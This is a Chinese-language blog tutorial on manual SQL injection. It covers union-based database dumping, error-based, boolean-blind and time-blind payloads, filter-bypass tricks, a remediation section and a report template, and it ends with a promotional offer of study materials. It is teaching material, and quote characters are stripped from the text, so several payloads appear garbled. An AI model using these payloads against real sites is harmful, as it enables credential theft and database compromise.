
SQL 注入基础原理 手工注入测试步骤详解前言SQL 注入是 Web 安全领域最经典、历史最悠久的高危漏洞不管是 CTF Web 题目、SRC 漏洞挖掘还是企业渗透测试工作SQL 注入都是必测的核心漏洞。很多新手一上来就直接使用 SQLMap 一键跑注入虽然工具方便但不懂手工注入原理遇到 WAF 拦截、特殊过滤、复杂场景时就无从下手。本文从底层原理讲起先解释 SQL 注入到底是什么、漏洞产生的根源再详细讲解手工注入完整测试流程判断注入点、判断注入类型、获取字段数、查询回显位置、爆库名、爆表名、爆字段名、读取数据。同时区分数字型注入、字符型注入附带常用 Payload、报错注入、布尔盲注、时间盲注基础思路还有漏洞危害、修复方案以及手工注入常见踩坑点。读完本篇你能够独立完成基础手工 SQL 注入看懂 SQLMap 的执行逻辑在无法使用工具的场景下手动获取数据库数据。适合 Web 安全入门、准备 SRC 挖掘、面试备考的同学。⚠️ 免责声明本文内容仅用于本地靶场、获得书面授权的安全测试环境学习研究。严禁在任何未授权网站、业务系统执行 SQL 注入测试未经授权的渗透测试属于违法行为所有违规操作带来的法律责任由操作者自行承担。一、SQL 注入基础原理1.1 什么是 SQL 注入Web 应用程序在访问数据库时会拼接用户输入的内容到 SQL 语句中执行。如果后端没有对用户输入做过滤、转义攻击者就可以构造特殊的输入篡改原本 SQL 语句的逻辑额外执行数据库查询语句这个行为就是 SQL 注入。简单一句话用户可控输入直接拼入 SQL 语句执行没有做安全处理产生 SQL 注入漏洞。举个简单例子网站登录功能后端原始 SQL 语句select * from user where username$name and password$pass;$name和$pass是前端用户提交的账号密码。正常用户输入账号 admin密码 123456拼接后select * from user where usernameadmin and password123456;攻击者账号输入admin or 11#拼接之后 SQL 变成select * from user where usernameadmin or 11# and password123456;#是 SQL 注释符注释掉后面单引号内容or 11永远成立直接绕过登录。这就是最经典的登录框 SQL 注入。核心关键点用户输入被当成 SQL 代码执行而不是单纯当做字符串。1.2 漏洞产生必要条件用户输入可控GET 参数、POST 表单、Cookie、HTTP 头、Referer 等位置输入内容直接拼接进 SQL 语句没有做转义、过滤、预编译处理Web 程序能够将 SQL 执行结果或者报错信息返回页面盲注场景不需要直接回显。1.3 SQL 注入的危害SQL 注入属于高危漏洞危害极大查询数据库数据泄露账号、手机号、身份证、订单等敏感信息修改数据库数据篡改网站内容、修改管理员密码删除数据表、清空数据库drop、delete语句读取服务器本地文件MySQL load_file写入一句话木马到服务器获取 Webshell接管服务器拿下数据库服务器权限横向渗透内网。1.4 SQL 注入分类按照注入方式分为两大类有回显注入联合查询注入 union select页面可以直接返回 SQL 查询结果最容易测试优先测试。细分数字型注入、字符型注入。无回显注入盲注页面不会直接返回查询数据只能根据页面差异判断结果。布尔盲注页面返回两种状态正常 / 异常以此判断条件真假时间盲注通过 sleep () 函数观察页面响应延时判断条件真假报错注入页面输出 SQL 报错信息利用报错带出数据。二、数字型注入 vs 字符型注入重点区分数字型注入参数直接作为数字SQL 语句不带单引号。示例 URLshturl.cc/SR2QcjhGT03IzYNIcL后端 SQLselect * from news where id1;测试 Payloadid1 and 12如果页面内容消失说明存在数字型注入。特点不需要闭合单引号。字符型注入参数作为字符串SQL 语句使用单引号包裹变量这是最常见的注入类型。示例 URLshturl.cc/RTeItToEUFz4tx3Bt1后端 SQLselect * from news where id1;测试 Payloadid1 and 12#需要用单引号闭合前面字符串注释掉后面多余单引号。特点需要构造单引号闭合新手最容易漏掉单引号导致注入失败。注释符说明#MySQL 行注释--双横杠加空格-- 后面必须有空格MySQL 有效注释/* 内容 */多行注释。三、手工联合查询注入完整步骤有回显场景适用场景页面会展示 SQL 查询的数据比如新闻详情、用户信息页面。靶场示例地址http://127.0.0.1/sqli.php?id1步骤 1判断是否存在注入点先访问正常链接?id1页面正常显示内容。测试单引号?id1页面如果抛出数据库报错大概率是字符型注入页面无变化则可能是数字型或者过滤了单引号。逻辑判断测试?id1 and 11页面正常?id1 and 12页面无数据 / 空白两次页面返回不一样说明参数带入 SQL 执行存在注入。字符型注入测试 Payload?id1 and 12#步骤 2查询查询字段数量order by 排序猜列数order by n的作用按照第 n 列排序如果表存在 n 列页面正常超过列数则报错。?id1 order by 1-- ?id1 order by 2-- ?id1 order by 3-- ?id1 order by 4--假设order by 3正常order by 4页面报错。说明查询语句返回一共3 个字段。原理union 联合查询前后两个 select 查询字段数量必须完全一致否则 SQL 报错。步骤 3寻找回显位置union select 联合查询前面id1的数据会正常显示我们需要让前面查询结果为空只显示 union 后面我们构造查询的数据所以id-1查询不存在 id。Payload?id-1 union select 1,2,3--页面会显示 2、3 其中数字数字所在位置就是回显位可以在这个位置写查询语句。比如页面显示2和3代表第 2 列、第 3 列会输出内容后续把 2/3 替换成查询函数。步骤 4获取当前数据库名称假设回显位是 2payload?id-1 union select 1,database(),3--database()MySQL 内置函数查询当前网站使用的数据库名。页面返回库名例如sqli_test。步骤 5查询该库下所有数据表名information_schema 是 MySQL 自带信息库记录所有库、表、字段元数据手工注入核心。Payload?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--group_concat()可以把多条结果合并成一行输出适合页面单行回显场景。执行后页面会列出这个库所有表例如users,news。如果过滤了 group_concat可以使用 limit 逐行读取limit 0,1读取第一条limit 1,1第二条。步骤 6查询指定数据表里面所有字段名假设目标表是userspayload?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_nameusers--页面返回字段比如id,username,password。步骤 7读取表中数据账号密码查询 users 表 username、password 字段数据?id-1 union select 1,group_concat(username,0x7c,password),3 from users--0x7c是十六进制的|用来分隔账号密码方便查看。页面直接输出所有账号密码注入完成。四、报错注入基础无正常回显但页面打印 SQL 错误当页面不会展示查询结果但是 SQL 语句出错时会直接打印报错信息利用报错函数把查询数据放到报错信息里输出。MySQL 常用报错函数updatexml()、extractvalue()。updatexml 示例 Payload?id1 and updatexml(1,concat(0x7e,database(),0x7e),1)#原理updatexml 第二个参数要求是合法 xpath 格式我们构造非法格式将查询结果放在报错信息中带出。限制单次输出字符长度有限需要截取字符串适合数据量不大场景。五、布尔盲注基础页面只有两种状态无回显、无报错页面不会返回数据也不会输出报错输入正确条件页面正常错误条件页面空白这就是布尔盲注。核心思路逐字符猜解数据利用 ascii () 获取字符编码对比判断真假。示例 Payload猜数据库名第一个字符?id1 and ascii(substr(database(),1,1))100#substr (字符串起始位置截取长度)截取第 1 位字符ascii () 获取字符 ASCII 码页面正常说明条件成立字符大于 100页面异常说明不成立。不断调整数字二分法快速猜出每一位 ASCII转字符拼接得到完整库名、表名、账号密码。六、时间盲注基础页面状态无任何变化只能看延时页面不管条件真假返回页面完全一样无法通过页面内容判断就使用 sleep () 延时函数。当条件为真执行 sleep (3)页面延迟 3 秒返回条件为假页面立刻返回。Payload?id1 and if(ascii(substr(database(),1,1))100,sleep(3),1)#if (条件真执行语句假执行语句)通过观察页面响应时间判断条件真假逐字符猜解数据。缺点注入速度很慢大量请求容易触发 WAF 和日志告警。七、POST 型注入、Cookie 注入简单说明前面演示是 GET 注入参数放在 URL 中。POST 注入参数放在请求体Cookie 注入参数放在 Cookie 字段原理完全一致只是提交位置不同。POST 注入Burp 抓包修改 POST 表单参数测试单引号、and 11Cookie 注入修改 Cookie 里面可控参数后端读取 Cookie 内容拼接 SQL。很多新手只看 URL 参数忽略 POST、Cookie、HTTP 头注入点实战中需要全部测试。八、SQL 注入常见过滤与基础绕过思路实战中经常遇到关键词过滤简单列举基础绕过方法空格过滤使用/**/代替空格and/**/12and、or 被过滤大小写变形AnD、Or或者双写anandd单引号转义考虑宽字节注入GBK 编码场景% df%27 吃掉转义符 \union select 过滤注释分割un/**/ion sel/**/ect。注意绕过方式要看后端过滤逻辑没有万能 Payload需要根据返回信息调整。九、SQL 注入漏洞修复方案渗透报告必备SQL 注入最根本的解决方案使用预编译语句参数化查询不要直接拼接用户输入到 SQL 语句。优先采用预编译、参数化查询MyBatis #{}、PHP PDO 预编译用户输入永远作为参数不会当成 SQL 代码执行这是核心防御手段输入白名单校验严格限制输入格式例如 ID 只能是纯数字最小权限原则数据库连接账号只分配必要权限禁止 file、drop 等高权限关闭 Web 应用详细 SQL 报错不要把数据库原生错误返回前端部署 WAF拦截注入特征 Payload禁止数据库加载本地文件、写入文件权限定期代码审计扫描代码中的 SQL 拼接风险点。❌ 不推荐单纯过滤关键词、转义特殊字符。过滤很容易被绕过不能作为主防护手段。十、手工注入常见误区❌ 误区 1能执行 and 11 就可以直接拿到数据。要看页面是否支持回显没有回显只能盲注不能 union 查询。❌ 误区 2所有注入都是字符型每次都直接加单引号。数字型注入多加单引号会直接报错需要先判断注入类型。❌ 误区 3order by 可以无限大随便填数字。order by 数字超过表字段数就会报错用来判断列数。❌ 误区 4group_concat 可以一次性读取超大表所有数据。很多场景存在长度限制数据量大时要用 limit 逐行读取。✅ 实战小技巧手工注入顺序判断注入点 → 判断字符 / 数字型 → 猜字段数 → 找回显位 → 依次爆库、表、字段、数据。每次修改 Payload观察页面返回变化根据报错、页面差异调整语句。十一、漏洞报告模板参考漏洞类型SQL 注入漏洞漏洞描述网站新闻查询接口 id 参数未做安全处理用户可控参数直接拼接进 SQL 语句执行存在联合查询 SQL 注入漏洞。攻击者可以查询数据库内全部敏感数据存在严重信息泄露风险。复现步骤访问shturl.cc/jTnxmzSmpMT页面正常展示新闻构造 payload?id1 and 12#页面无内容确认存在字符型注入使用 order by 猜解字段数量确定字段数为 3使用 union select 查询获取当前数据库名读取数据库内 users 表账号密码等敏感信息。漏洞危害攻击者可获取网站数据库全部数据泄露用户账号密码甚至读取服务器文件、写入 Webshell接管服务器。修复建议使用预编译参数化查询禁止直接拼接用户输入关闭前端数据库详细报错数据库账号采用最小权限原则。结尾SQL 注入的核心不在于背诵大量 Payload而是理解SQL 语句拼接逻辑。工具 SQLMap 本质也是自动化实现手工注入的整套流程。手工注入是 Web 安全基本功熟练手工注入之后你才能看懂工具的行为遇到 WAF、过滤、特殊编码场景时自主构造 Payload 突破限制。推荐练习靶场SQLi-Labs覆盖数字注入、字符注入、报错注入、盲注、POST 注入、Cookie 注入等几乎所有基础注入场景非常适合从零练习手工注入。学习完注入之后可以结合前面文章的文件上传、越权漏洞形成完整 Web 漏洞挖掘知识体系。如果文章对你有帮助欢迎点赞收藏后续持续更新 Web 安全渗透系列文章。如何系统学习网络安全网络安全作为数字时代的核心技术基石已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。构建稳固的网络安全能力是一个体系的工程需要从夯实基础理论出发持续深化到攻防对抗与应急响应的实战层面。如果你是准备学习网络安全黑客或者正在学习我可以把我自用的360独家内部资料分享给你包含以下内容你应该能用得上①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】